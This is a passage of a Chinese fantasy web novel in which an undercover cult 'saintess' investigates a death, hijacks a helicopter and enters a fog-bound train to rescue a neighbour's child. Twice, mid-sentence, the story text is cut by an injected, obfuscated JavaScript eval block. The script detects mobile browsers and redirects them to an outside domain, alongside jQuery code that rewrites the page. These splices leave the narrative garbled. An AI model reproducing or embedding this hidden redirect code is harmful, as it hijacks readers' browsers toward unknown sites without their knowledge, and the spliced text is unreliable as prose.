为了不让唐姨他们看出异常,她必须尽快吸收并且调整好状态。 几乎是刚调停好神力,门就被轻轻敲响。 “小燃,锅贴我拿上来啦。”是唐姨。 宁九燃胡乱擦去脸上的冷汗,起身去开门:“来啦。” 唐宛芬把装着锅贴的盘子和一小碟蘸醋放在桌上,摆好筷子,伸手去拉宁九燃:“快吃吧,一会碗筷放楼下,早点睡啊,面色看着不太好……” “没事,我就是累的……”宁九燃咬了口锅贴,鲜香的汤汁和焦脆的面皮进入口中,发冷的身体开始回暖,“唐姨,你去睡吧。” 唐宛芬站在边上又观察了她一会,见她面色回转才放心回房睡觉。 宁九燃吃完饭,简单地洗漱之后,打开摄形晶看了一遍,发现就是常清这几天大致的行动路线,但并没有什么奇怪的。 关上摄形晶后,整个人平平地往床上一躺,脑子嗡嗡的。 五天前,她被主教召回伪神教主殿。主教以教她血池水的再生之法为交换条件,要求她进入请神司查出前任弑神者司道的死因。 宁九燃虽然身为伪神教圣女,但算是“穷山恶水出青松”,不太喜欢跟那群神神道道的为伍,却因为血池水不得不一直跟伪神教绑在一起,所以这个条件对她而言确实诱人。 虽然第一步误打误撞出了成效,但接下来的路估计不好走。今天本来想从肖自云口中打听司道的消息,但他却刻意回避话题。上面还有手起刀落的弑神者神出鬼没,当二五仔更是在走钢丝,还有三个月的时限…… 宁九燃啊宁九燃,自由的魅力这么大吗? 正想着,手机响起消息提示音。宁九燃打开一看,肖自云给她发了个可安装的阅读器。 下载后打开,里面有神格图谱、请神司共约、平海分司公约、临时工守则、提灯人守则等一堆文字密密麻麻的东西。 还有几个名字看着不太正经的,什么《平海分司你必须知道的一百件事》《玩转职场的十大绝招》,光看名字就让人没有翻开的欲望。 “什么玩意?干三天也要学这么多?” 宁九燃打开一个标红的图标,里面是一本叫《伪神教应对手册》的书。 点开第一页就是对伪神教主教的介绍,还有十二护法,有的标出了等级,有的标出了神格,还有的贴了模糊的照片,多多少少都有点信息。 但最后一行只有一个灰色的框,神格、神力层级、神技特点等全部空白,边上标注:伪神教圣女,未知,二号危险人物。 “啧,仅次于主教,相当看得起人。”宁九燃有种被肯定了的得意感,心情颇好地翻起了那本《平海分司你必须知道的一百件事》。 第一页就给宁九燃带来了巨大的冲击。 上面是一张赫应决的侧身照片,拍摄者大概是偷拍的,但是光影和构图都堪称一绝。不过,赫应决这张脸应该怎么拍都不会难看。 照片旁写着:第一件事,不要跟任何人说弑神者大人的坏话,因为你不能确定这个人是不是他的倾慕者(此处没有性别限制)。 看到这,宁九燃基本能确定这不是什么正经书了,她认真端详着赫应决的照片:“长得确实好看到男女通吃,喜欢他合情合理,但哪天被他刀了估计也不是什么意料之外的事。” 宁九燃又往后翻了几页,下了结论:后面的内容远没有弑神者大人的脸有意思。 “就是可惜只有一张,还不是正脸。”宁九燃叹息。 在床上翻了两个身之后,宁九燃看向闹钟,12点整。 完了,明天还得早起找线索。 自由确实重要,谁想当晚睡早起的牛马? 宁九燃十分命苦地让自己强制关机。 早上七点钟手机闹钟响起的时候,宁九燃产生了毁灭世界的冲动。 她昨晚强制关机失败,失眠到四点,已经到了恨不得有个人一棒子把她敲晕的地步,现在起床让她感觉灵魂被从躯体上剥离了出来。 拖着行尸走肉换好衣服洗漱完,走到楼下时,宁九燃才把眼睛完全睁开。 唐宛芬夫妇一早就去看店了,嘉宝估计还睡着,桌上的保温盒里已经装上唐宛芬给她准备的早餐。 宁九燃坐在桌边,托着脑袋,双目空洞地喝着牛奶。 忽然,一个橘色的小东西从门外飞进来,宁九燃伸手一把接住——是个小橘猫玩偶。 接着,外面就响起一个男孩的笑声:“快点吃早饭吧,着火姐姐!”是邻居家八岁的小儿子安昭。 年轻就是有活力啊,起这么早还这么有精神。 宁九燃捏着小橘猫胖胖的尾巴:“安昭,我不小心烧着家里的时候你才四岁,你至于叫了我四年的着火姐姐吗?就不能叫我一声九燃姐姐?” “大家每年都在说你觉醒神格的时候把家里点了,我怎么忘得掉呢?”安昭用他那玩得脏兮兮的小手捂着胖乎乎的脸就开始笑。 宁九燃无力地咬了口豆包,早知道当年就不演那出神格觉醒的戏了,都快成为街坊邻居每年必备的下饭菜。 “不过嘛,你要想听,我也可以叫你一声九燃姐姐。”安昭的眼睛滴溜一转,跑近了几步,“你帮我在考卷上签我妈的名字,我就叫。” “想得美。”宁九燃把小橘猫丢回他怀里,就知道这小家伙一早上没憋好事。 “求你了姐姐,我妈要是知道我数学只考28分肯定会打死我的。”安昭扮出哭脸,“姐姐,你忍心看我这么痛苦,不治愈下我幼小的心灵吗?” “治愈?”宁九燃把最后一口豆包塞进嘴里,差点没忍住笑,“考28分还要治愈,平时玩得不够快乐吗?” “嗷!不理你了!”安昭鼓着腮帮子地抱住小橘猫跑了。 宁九燃准备出门时,手机响了起来。 是肖自云。 “肖主任,我马上就来,绝对不会迟到。”宁九燃看了眼时间,准备等会骑车上演一出速度与激情。 “宁九燃,你不用到司里,我给你发给定位,这是昨天常清带他俩查案的案发现场。”肖自云在电话里说道,宁九燃的手机也响起了消息提示音。 “这个地方……”宁九燃打开定位看了眼,语气凝重。 “怎么了?这个地方有什么问题?”肖自云以为她想到了什么,忙问。 “有点远,打车报销吗?” “……”肖自云沉默了两秒,“报,给你四十分钟,晚一秒就不给报了。” 宁九燃干脆利落地把电话一挂,立马打车。 肖自云给的是一个小区的定位。宁九燃踩着最后一分钟踏进大门,小区四周已经围上了警戒线。 案件发生在这个小区五幢十七楼,死者叫凌晓雨,23岁,是一个有名的网红。昨天凌晨三点到三点半之间死于家中浴缸,六点被前来找她对接工作的经纪人发现。 凌晓雨的经纪人坚持说自己看到晓雨的时候,她的身上出现了银色的鳞片。 虽然警卫队到达时鳞片已经消失,但是凌晓雨死在一个没有水的浴缸里,肺部却装满了水,不符合常理。于是便把案件上报到了请神司。 “一切听我的安排和指挥。这个小区里百分之八十是没有神格的普通人,非必要时刻不能对普通人使用你们的特能,如果因为你们的过失造成群众危机,你们会受到来自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554545|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十二神使乃至弑神者的审判。”肖自云领着他们三个往里走,“昨天的教训希望你们都还没忘。” “知道啦知道啦……”宁九燃一边应和,一边挪到林珰珰身边低声闲聊,“小铃铛,你的神格是什么呀?我还不知道呢。” “陵……陵鱼。”林珰珰显然一有人靠近就紧张,声音变得极小。 “陵鱼神格?梵塞卓斯家族的主系神格,怎么会来小小的平海当临时工呀?“宁九燃问。 “我……我不是嫡系,只是运气好……觉醒了这个神格而已……”林珰珰小声答。 “哦。”宁九燃嘴上应着,余光却一直关注着林珰珰。 梵塞卓斯家族是四大家族之一,主系神格者再怎么落魄,也不至于当个提灯人还要跑到平海这种小地方从临时工做起,这小妹妹要么背景极差,要么就是极其复杂。 不过,在那种吃人的大家族里待着,倒确实什么可能都有。 “昨天我回司里捋了一遍,总觉得这个案子和常清的叛变有关系。”进了凌晓雨的房子,肖自云示意他们观察案发现场,“她如果只是简单叛变,直接潜逃不更容易?何必还要带上辰刻和林珰珰来查案?而且这是个高档小区,安保极其严密,万一附近刚好有其他经验丰富的提灯人办案,她很有可能根本逃不掉。” “主任,我昨天仔细回忆了一下经过,她带我们在案发现场梳理的时候没有出现任何纰漏,直到后来出小区的时候才以口误的形式露出了马脚,甚至没有辩解就立刻对我和林珰珰进行攻击,然后逃离……”辰刻分析道,“看起来就像……就像是故意让我们发现的。” 肖自云薅了薅“饱经风霜”的头发,有些糟心:“故意?然后呢?难道就为了引到没人的地方杀你们?你们也没仇啊?” 听他们一通分析,宁九燃更糟心,感觉再不把水搅浑自己就得投案自首了。 她想了想,煞有介事地说:“主任,如果凌晓雨是她杀的,那她们之间必然有联系,我们不应该查查这个吗?” “哦,对,我昨晚让人理了资料。”肖自云从兜里掏出一个微型储存仪,点了一下后放在桌面上,一个光面弹了出来,自动播放着一些资料,“你们看,凌晓雨和常清截止今年六月份都是完全没有交集的,但这三个月却发生了一些很隐秘的交流,虽然具体内容已经还原不了,但是我们可以统计出她们有二十四次的电话交流,各种隐蔽的信息传递高达一百多次。所以我觉得,就像九燃说的,如果凌晓雨真的是她杀的,那么杀凌晓雨一定不是一个随便的选择。” 三个月?宁九燃面上不显,心里开始怀疑:那也就是说,她在向伪神教投诚前,就已经认识凌晓雨了。她昨晚的叛变或许也跟这个有关,我必须得弄清楚,不然后患无穷…… 凌晓雨已经开不了口了,那么只能从她身边还开得了口的下手。 “主任,您说是她经纪人发现她的?我们方便去找她调查一下吗?”宁九燃问。 “应该可以,她的经纪人凌蔼是她母亲,当时悲伤过度昏迷进了医院,昨晚已经醒了。”肖自云对辰刻说道,“辰刻,你联系一下医院方面,我们现在就过去。” “好。”辰刻应声开始打电话。 “走吧,下楼坐我车,我带你们过去。”肖自云招呼着,突然一个刺耳的铃声响了起来,他的手机变成了红屏,而神情也随着红屏变得无比严肃,立刻划开接起紧急通讯,“我是肖自云……什么?穿山隧道……血月,怎么可能?这……黑……我知道了,马上到!” 挂完通讯,肖自云的脸色已经沉得能滴下水,皱紧的眉头写满了风雨欲来,他压着气扫了眼宁九燃三人:“司里有事,我现在马上得走,你们自己去医院查凌蔼,查完就在那待着,我没通知不许离开,明白了吗?” 宁九燃和林珰珰应着,肖自云转身要走,挂完电话的辰刻上前一步叫住他:“主任,凌蔼早上强行出院,上了一班高速列车,我刚刚转接了交管中心,车号是PZ376,停了在穿山隧道。” 又是穿山隧道?宁九燃看向肖自云,见他脸色黑了又黑,最后憋出一句:“别查了,你们就在这待着,等我回……等我通知。”说完,他跨大步走了。 “辰刻,交管中心有说,穿山隧道怎么了吗?”宁九燃看肖自云走远,问道。 辰刻:“我问了一句,他们没说。” “主任现在好像就是要去穿山隧道,还说什么……血月?”宁九燃问着,目光扫过辰刻和一直缩在后面一言不发的林珰珰。 ”应该是有急事吧……“林珰珰发现宁九燃在看她,小声说了句。 这时,宁九燃的手机响了一下,打开一看是唐宛芬发了好几条信息: “小燃,我记得你说有认识请神司的人是吗?” “你可能在忙,本来我也怕打扰到你,但是隔壁小昭的爸爸妈妈实在没办法了,说小昭早上上的那个列车停在了穿山隧道,现在那边被请神司围了,连警卫队都进不去,想问问你有没有知道一些情况。” “小燃,如果你有看见的话可以回一下,小昭爸妈快担心坏了。” 宁九燃看完信息,吐了口气,忽然想到了什么,整个人一顿。 昨晚她看的常清的行动路线上,穿山隧道这个点出现了多次! “九燃姐姐,你……怎么了?”林珰珰坐在边上一直观察她,问。 宁九燃没回应,站起身走到窗边,用力拉开厚重的窗帘,露出早晨九点三十七的天空。 暗沉的天上,一轮血月正当空。 4. 第4章 “我想去穿山隧道。” 宁九燃话一出口,辰刻和林珰珰都惊讶地看向她。 “诚实一点说,我想加入请神司,常清一案是我唯一的机会,所以我必须去找凌蔼。而且……”宁九燃吸了口气,神色微变,“我有一个认识的……人在列车上。” “认识的人吗?九燃姐姐,你不要太担心,万一没什么事呢,你说对吧,辰刻?”林珰珰看看宁九燃,又看向辰刻,想让他说两句安慰下宁九燃。 “不是,红色警报是请神司的一级警报,警令会同步传达至请神司总司,所有S级及以上的提灯人都会收到警报,并以此为最高优先级行动,触发红色警报说明事态非常严重。只不过我们还是临时工,所以没有收到。”辰刻说。 “哎……”林珰珰本来就内向,被一板一眼的辰刻无意拆了台就更找不到话说了。 “你们留在这里注意安全,晨时血月不会是什么好处理的事,我先走了。”宁九燃顿了下,补充道,“正常来说不会,但万一我惹出什么麻烦,有牵连到你们的风险,你们可以用任何话术把自己摘干净,我都会认的。” 说完,她没有停留就开门而出。 “九燃姐姐……她……”林珰珰有些无措地看着辰刻,“这……怎么办?不会像九燃姐姐说的那样吧?” “她说的没有问题,她虽然是临时编外人员,但现在确实与我们相关联,万一在红色警令中惹了麻烦,是有牵连我们的可能。”辰刻望向宁九燃离开的方向。 但是……会这么考虑这么说的人,他还是第一次见。 这个宁九燃,很特别。 虽然一系列相关的人和事都跟串糖葫芦似的,挨个连着串到了穿山隧道上,但宁九燃本来不打算掺和。 就算不找那个凌蔼,她也有办法弄点跟常清有关的线索出来。 可是看到血月之后,宁九燃改变了想法。 血月引黑雾,这可不是区区一个常清或者普通伪神教徒众可以弄出来的。 她在平海城待了这么多年,堂堂伪神教圣女算不上山大王也能混个地头蛇,所以她高低要看看,哪个东西胆子大到敢越过她在平海城搞这么大动静。 还有安昭那混小家伙,考了28分都还没被揍呢…… 宁九燃没有直接前往穿山隧道,不出意外的话,那边已经被围得密不透风。她选择绕路在军用停机场附近下了车。 军用停机场戒备森严,里面隐隐传来轰鸣声,从外面可以看见一架又一架军用直升机起飞。 下车后,宁九燃绕到西侧门的外围,在一块草丛里蹲下,拿出一个改装过的收音机紧贴地面,带上耳机,眼睛盯着门外换防的哨兵。 收音机是她让三护法帮她改的,这个距离可以检测到军用加密频道的信号,虽然不全,但也能听出点什么。 “……清理……三号……” 宁九燃屏住呼吸去分辨耳机里传出的声音,听完之后只想回去找三护法打一架:改的什么玩意? 突然,手机震动,屏幕上显示林珰珰来电。 “小铃铛。”宁九燃把声音压得极低,“怎么了?” “九燃姐姐,我到保障区了。这边有一个从隧道里……抬出来的乘客。”林珰珰的呼吸很急促,看起来非常紧张。 “什么意思?你去隧道了?”宁九燃愣了下。 “我们没能进去,虽然打了申请但是没批复,临时工身份最多只能进到保障区。里面有一个抬出来的乘客,我不能靠近,只能远远看一眼,他身上有黑色的纹路,眼睛周围冒着红气。”林珰珰努力克制紧张把话说连贯, 是黑雾造成的神格污染。 古神时代黑雾就已经存在,没有人知道它的源起。 普通人接触到高浓度的黑雾轻则精神受损,重则直接死亡。特能人则会被其污染神格,神格发生异化,甚至可能会走向最糟糕的结局——被神格控制。 请神司培养提灯人,除了应对各类特能案件外,主要职责就是用神力净化黑雾。神格等级低于B级的特能人无法净化黑雾,所以提灯人的等级底线是A级。 “姐姐,你现在……在哪里?你可以告诉我那位朋友的信息特征,我和辰刻帮忙在保障区找找。”林珰珰断续的话中能听出关心。 宁九燃沉默了两秒,忽然问:“这么危险的事,你们为什么帮我?” “你昨天帮……帮了我们,我们现在是一块的。”电话那头,林珰珰似乎深吸了一口气,“我觉得我们是朋友了。” 朋友吗? 宁九燃握着手机的手几不可察地颤动了下,随即应道:“好,谢谢。你们留在保障区注意安全,我等会可能还会打给你。” “嗯嗯,姐姐,你要小心啊。” 挂掉电话后,宁九燃整理了下思路。 伪神教之所以臭名昭著,不是因为众教徒长了三头六臂,面目可憎,也不仅仅是因为他们不服从联邦律法和四大家族的管控,而是因为他们不走“正道”,吸收黑雾修行。 这世上人有长短,天赋便有高低。不满于天生神格者众众,自有人会另辟蹊径——发现了吸收黑雾修习的邪法。黑雾虽然会污染神格,但却能让神格等级获得跨越,修习得当神力层级便可大增。 当然,邪法之所以是邪法,那便是平等地视所有生命为草芥,修习黑雾而存活者,十之一二,存活而发狂失去神志者,十之八九。 不过,伪神教在传授邪法之前,会让教徒服下一颗秘制的所谓“神丹”,说是可在他们被神格控制时保护他们,但本质上,二者唯一的区别就是把灵魂卖给神格还是卖给伪神教了。 除了一些本就天赋极高者,大部分人都会成为被伪神教主教驱驰的行尸走肉。但尽管如此,伪神教插着“神力自由,我命在我”的大旗,还是吸引了源源不断的教徒。 所以在宁九燃眼里,伪神教就像个功力深厚的传销诈骗组织,众教徒则跟一群脑子有病的野兽没什么区别。 联邦成立后,在请神司和四大家族的通力保障下,绝大部分黑雾都被阻隔在城市群之外。平海城已经很多年没出现过黑雾了。 这次黑雾和血月居然同时出现,再加上常清莫名其妙的叛变,多次重复的行动轨迹以及与之相关联的凌蔼也出现在列车上。 真是好大的手笔。 宁九燃收拾好背包,把一些便携的装备戴在身上,压低身体跑到公路的一个拐角处,在路面上放下一个微型空弹。做好后,她转到旁边的草丛里藏好。 没过几分钟,一辆军用卡车开了过来,压过空弹时空弹“呯”的爆炸,车身晃了晃,驾驶员不知道发生了什么,踩了下刹车。 借着这几秒的停顿,宁九燃从驾驶员视线盲区侧身翻到卡车下方,抓住了底部的横杠,紧紧贴在车的底盘上。 空弹爆炸后四分五裂,与地上的碎屑尘土混为一体,驾驶员下车检查后没发现什么问题,又重新发动了车。 车子畅通无阻地进入了西侧门。 宁九燃单手握着横杠,空出一只手浮起一小团发红的火焰,轻轻一吹,火焰像蝴蝶一样散开,飘向附近的各处监控设备。 等到确保附近监控设备都被干扰之后,宁九燃在卡车停下前手一松,翻身利落地滚到一旁的小型集装箱堆后。 停机场上的小型直升飞机都飞的差不多了,剩下的两三架看着也即将起飞。 视线范围内有八个飞行员,十七个类似安保的人,还有几位不能判断身份。 “没暗沼那本事,只能想办法硬闯了。”宁九燃掏出一个空瓶,将火焰注入封好,贴在集装箱的后侧,然后趁人不注意从箱子后方绕出来,自然松弛地向一架直升飞机走去。 撑出自如的神情往前走,宁九燃甚至还对几个走过的安保点了下头,顺利走出去七八步远,但有几个感觉不对的已经转头看向她。 只能走这么远了,现在需要要制造个更大的动静转移注意。 三,二,一。 宁九燃轻轻打了个响指,集装箱后的空瓶瞬间剧烈爆炸,火焰噌的一下燃烧起来,迅速吞噬了好几个集装箱。 “警报!警报!集装箱处着火!”安保员们对着通讯器大喊,飞快奔向集装箱群。 踏着警报声,宁九燃快步跑到一架刚刚离地的直升机旁,跃身抓住直升机侧旁的单杠,顺势升到了空中。 驾驶舱里只有一个飞行员,刚刚起飞的时候还在关注地面的火况,并没有注意到挂上来的宁九燃。 宁九燃将右手贴上驾驶舱的门缝,高温火焰瞬间沿着缝隙熔化了门缘。她伸手用力一拽,门被强行拉开,发出刺耳的刮喇声,直升机因为内外失衡侧向大幅度晃了起来。 几乎没有给驾驶员反应的时间,宁九燃左手在单杠上一撑,右手扒着门沿,借助直升机摇晃的幅度利落地翻进了舱内。 驾驶员单手控制方向,另一只手想去掏枪,但是已经来不及了。 这个看着漂亮单薄的女孩徒手拆了舱门,拽住座椅逼近他身前,停在他脖子旁的手上燃着滚烫的火焰,冲他露出一个明媚还带着点得意的笑。 “你……你是什么人!”驾驶员惊恐地喊道,右手刚想往身后挪去,面前的火焰立刻卷上了他的脸。 他看见那个女孩微微偏头,脸上带笑声音却极冷。 她说:“动一下我就把你烤焦了扔下去。” 出事的列车只有小半截车厢在隧道外,其余车厢全部在隧道里。整个隧道前后全部被浓厚的黑雾笼罩。 黑雾与血月共鸣,源源不断地产生并漫出。太阳的光辉都被血月的暗红和黑雾所遮蔽,天空看起来危险而又诡异。 污染区边缘间隔地站着训练有素的提灯人,正释放神力净化黑雾,但是因为血月的存在,只能勉强控制污染区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554546|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不继续扩大。 请神司在离黑雾三四百米的山体上搭建了临时指挥部。 此刻,肖自云正捏着通讯器在指挥部烦躁地走来走去,本就不多的头发被他薅得像刚犁过的地。 “肖主任,黑雾浓度太高了,最开始进入的三位S级提灯人都受到了轻度污染,抬出来的乘客更是重度污染,里面的人估计……”助理匆匆跑进来汇报。 “那就让更高等级的提灯人进啊,不是还有五位2S级提灯人吗?”肖自云说着,立马拿起通讯器准备下达命令,手却被助理按住,“你干什么!” “主任,红色警报上达总司后,总司发来了密讯,您要不先看一眼?”助理伸出手,一个红色的光点飘了起来,随即化作一行字——这是请神司总司特有的机密传讯方式。 一共就十个字:无法挽回,及时止损,可弃。 肖自云拿着通讯器的手僵住了,缓缓看向桌子上他刚刚拿到的乘客名单,一共576名乘客,其中还有127位准备去参加游学活动的八九岁孩子。 其实他得知是黑雾的时候,直觉就已经告诉他这次危机前所未有,说不定要搭上整个外勤部,所以他第一时间出动了所有在岗的提灯人,并立刻向总司求助。 可现在总司告诉他,2S级提灯人何其珍贵,派进去也只会成为无谓的消耗。 黑雾太特别了。它不像异兽,杀便杀了,更不是什么和危险分子的对抗。所有的勇敢、牺牲、使命在它面前薄得像一张纸一样,一吹就破。 不管是什么等级的提灯人,体内的黑雾浓度一旦超过20%,神格将会受到无法挽回的污染,然后会失去神智,最后彻底异化。 所以,只能放弃吗?控制污染区扩散,等血月消失,再派人净化黑雾。 可到了那个时候,列车里的人还能活几个呢? “主任,那是什么!”助理忽然惊叫,指着显示屏。 显示屏中,一架直升飞机跟喝了二两似的,歪七扭八地开向列车所在的污染区,慢慢悬停在距列车五六米的上方。 两三秒后,直升机的一侧探出一个身影,好像在确认位置和高度。 肖自云快步靠近显示屏,瞪大眼睛盯着那个人影,等分辨出来是谁后,他感觉脑子嗡的一声。 那是宁九燃! 宁九燃用直升机上的缆绳把驾驶员绑了扔到后座之后,就开始艺不高人也胆大地开起了直升机,遇到开不明白的就点火威逼驾驶员指导她,一路跌跌撞撞的,竟也成功开到了污染区上空。 “我还是颇有天赋的,对吧?”宁九燃转头,有点小骄傲地问驾驶员。 对你个头,我的活爹啊!开直升机能不能别往后看啊!驾驶员感觉自己快炸了。 探出头看了眼高度和位置,宁九燃把牵引绳的一端绕在直升机的单杠上,然后转过身打量着驾驶员。 驾驶员这辈子没这么窝囊过,看着宁九燃对他笑,感觉更窝囊了:“干嘛?你还要干什么?” 宁九燃伸手把他从后座拽出来摁到驾驶座上,稍微松了点缆绳,让他的左手能够伸出来够到控制器,随后又把右手和身体紧紧绑在一起,最后点了一小簇火焰停在他身边。 “我现在要跳下去,需要你帮我控制机身不移动,如果我顺利着陆,火焰就会烧掉绳子,但如果——”宁九燃话锋一转,“你故意移动机身让我没法安全着陆,火就烧你。” 合情合理的交易。 “不是?你开什么玩笑?我就一只手……我这姿势怎么开直升机?”驾驶员又急又气,用力挣着绳子,左手前绕后绕却怎么也够不着绳结,“再说了,就算我不动你也不一定安全着陆啊!谁有病啊这样往下跳!” “好好开嗷。”宁九燃拉了拉牵引绳,看好位置说了句,“我相信你哦。”便纵身跳下。 “诶!”驾驶员感觉要疯了,无可奈何地抻着左手在控制器和操作盘间迅速移动。 怎么就遇上这么个疯子?还相信我,一个人把我劫机了还相信我? 大爷的,这辈子再也不想开直升机了! 宁九燃不知道自己已经把一个职业飞行员逼到想转行了,她屏住呼吸,整个人快速从空中降落。 由于担心驾驶员会受黑雾影响,悬停看位置的高度有点高,所以她没能精准地跳到列车车顶,而是从车侧擦过,右腿重重撞在车侧的铁杆上,痛得她倒吸了口气。 但好在她及时扒住了车顶,用力一撑翻到了车顶上,随后慢慢沿着车顶爬进隧道。 宁九燃用左手往前挪,右手揉了揉大腿,叹着气对自己嘀咕:“宁九燃啊,二十多岁了年纪大了,下次还是找个梯子吧。” 隧道里浓重的黑雾弥漫在宁九燃的身旁,但宁九燃的身体和神志没有受到任何影响。 这是她的一个特殊禀赋,全世界可能都找不出第二个。 她不受黑雾影响。 5. 第5章 宁九燃从直升机上跳下来的那一刻,肖自云想死的心都有了。 他才意识到自己昨天造了多大的孽,怎么能相信这丫头会安安分分的呢? “主任,这不是你昨天带来的那个人吗?她不是编外吗?这……哪来的直升机?怎么直接往下跳……这是黑雾啊……”助理惊到语无伦次,想着这宁九燃看着也不像是疯子,抬头一看肖自云的脸色——沉得能滴下水了。 “别问我,我现在特别不希望知道她是谁。” 助理低头让肖自云先消化一会,没几秒又不得不抬头,小心翼翼地说:“主任,还有一个消息。” 肖自云脸没动,疲惫地把眼珠子转到他那一侧:“说。” “外勤七组的两个临时工林珰珰和辰刻打了申请,在您还没批准的情况下,跑到保障区了。”助理观察着肖自云的脸色。 这个消息终于让一头乱绪的肖自云彻底碎了。 “哈……哈哈……挺好的……我分组分得还挺对的……哈哈哈……” 助理觉得万年牛马肖主任在多重打击下可能终于短暂地疯了,低下头开始默哀。 肖自云干笑了两声,强行忍住先不疯,现实不允许他继续想不通。 “你,马上给我弄个扩音设备,要隧道里能听见的那种,循环播放让那家伙给我赶紧出来!”肖自云也顾不上瞒了,当下什么都没有宁九燃的命重要。 隧道里很黑,只有从车厢里透出的微光,里面稀落的撕打声和低吼声。看来,车厢内也有特能人的存在。 不过幸好不多,估计也只是轻度污染,不然都等不到请神司来救了。 宁九燃从车顶跳下来,扶着车体摸索到车头,俯下身检查轨道,伸手一摸:“果然是凝滞胶和干扰器,难怪列车会突然停住。” 当时那个摄形晶里,常清去过伪神教在平海隔壁一个小城的暗点,现在看来,估计是避开了自己到那里提取的凝滞胶和干扰器。 所以这些都是她布置的,她到底想干什么?纯粹是杀人泄愤吗? 宁九燃试着推了下车门,门打开了。 应该是受到干扰器影响,控制系统出了问题。 驾驶室里的两个驾驶员都昏迷不醒倒在座位上,列车的制动系统被启动,看来是有人里应外合做的。 “醒醒,醒醒……”宁九燃推了推两个驾驶员,完全没反应。 忽然,身后有风流动,一只握刀的手猝不及防地刺了过来。 宁九燃侧身一躲,反手捏住来人的手腕用力一翻让刀脱手,提腿用力踹到来人的腹部,在他倒地后重重踩在他的背上。 “你是伪神教的人?”宁九燃低头看着倒在地上神情痛苦的男子,直截了当地问 “咳咳……咳……”男子呛了好几声,拧着脖子艰难抬起头,看见宁九燃之后神色大变,“圣……圣女殿下!” “你认识我?”宁九燃皱起眉。 除了主教和几位护法,没人知道她的长相,这也方便她平时行事。可这个从未见过面的伪神教徒竟一眼就认出了她。 他身上虽有修习黑雾留下的黑色纹路,但看起来神志清明,应该不是普通的教徒。 “是七护法……七护法说您在这,怕我办事冲撞了您,特地告诉了我您的长相。”男子讨好地冲宁九燃笑,撑了撑右手,“圣女殿下,我刚刚没看清才出的手,您大人不记小人过……能让我先起来吗?” 宁九燃抬起腿让他半坐起来,又问:“他让你来做什么?” “护法让我混进列车里,说列车会在这里停下,等血月出现就让我释放黑雾。”男子回答道。 “他知道列车会在这停?”宁九燃问,“为什么要这么做?” “他说这是那位叫常清的跟主教大人的交易,主教大人帮她除掉敌人,她帮主教大人揭开请神司的真面目。”男子说。 “请神司的真面目?什么面目?”宁九燃问。 男子答:“这我不知道了,我也只是奉命行事。” “就这样?”宁九燃半蹲下捡起刚刚掉落在地的刀,向他递过去。 “就这样,谢谢圣女殿下。”男子一脸谄媚地伸手去接宁九燃递过来的刀。 很好。 宁九燃手腕一转,刀刃迅速划过男子的脖颈,鲜血喷溅。 站起身后,她把刀从头到尾擦干净扔到尸体上:“搞这么大动静还认得我,不杀你说不过去。” 根据唐宛芬发来的安昭的乘车信息,宁九燃翻到车厢外,直接从车顶爬到第七节车厢,然后拉开门进去。 车厢里都是昏厥的小孩,穿着和安昭一样的校服。 宁九燃按照座位找去,座位却是空的,她又找了前后两个全是学生的车厢,也没有安昭的影子。 中间几个车厢里有发狂的特能人,但是列车制动前把车厢连接处的门都关上了,所以他们只在自己的车厢里撕打。遇见有特能人的车厢,宁九燃就下车,从隧道绕过去,在最后一节车厢看见了安昭。 但眼前的景象有些出乎宁九燃的意料。 安昭并没有像其他普通人一样虚弱昏厥,而是眼圈发红,手臂上可以看见已经浮起的黑色纹路。 怎么会?这是神格污染才会有的迹象,可安昭明明没有觉醒神格。 “小昭。”宁九燃靠近安昭,叫了声。 安昭还有自主意识,抬起头四处张望,似乎在找是谁叫他。 污染的程度不深,应该还不到20%。 血月与黑雾共鸣导致黑雾源源不断,外围的黑雾比车内浓度高出太多,所以里面的人污染程度不高,但是外面的提灯人也没法进来。 宁九燃把安昭扶起来坐到一旁的座位上,拿了件掉在地上的外套捆住他的双手,以免他一会失控伤害到自己。 做好这一切后,宁九燃拿出手机,准备给肖自云打电话,衣服忽然被人拽了一下。 一回头,一个看起来四五十岁的中年妇女从地上强撑起来,左手紧紧捂住自己的鼻口,右手拽着宁九燃的衣服,声音虽低但满是惊恐:“救救我……救救我!” 她穿着一件灰色的厚外套,里面的衣服在她的伸手动作下露出一个角,看着像是……医院的病号服。 “你不会是……凌蔼吧?”宁九燃试探性地问。 “我……你认识我?我是!我是!”凌蔼跟抓住了救命稻草般,更用力地拽住宁九燃的衣服。 她不是特能人,但是好像对黑雾很了解,甚至有了一定的提前防备,所以现在还能保持相对清醒。这个凌蔼,似乎也不简单。 “你为什么会来这?” “我……那个常组长给我发信息……让我来的,说……说有我女儿的线索。” “常组长让你来的。”宁九燃的目光冷下来,扯开她拽衣角的手,“可是常组长已经死了,我亲眼看见的。” “死……死了……我不知道……不知道……啊!”凌蔼不知道是被哪句话刺激到了,双手疯狂薅着自己的乱发,尖叫一声便昏厥过去。 眼下这局面,也不是处理不了。但总觉得哪里不对,如果是暗沼那家伙办的事,肯定还有后手。 只不过,来不及等它显露出来了。 宁九燃转到一边,拨通了肖自云的电话。 “主任,我是宁九燃,能帮我个忙吗?” “帮?你赶紧给我出来,先帮我这个天大的忙吧宁九燃!”肖自云背过身冲着手机咆哮,“你知不知道神格污染的后果?当个编外人员你要上天啊!” 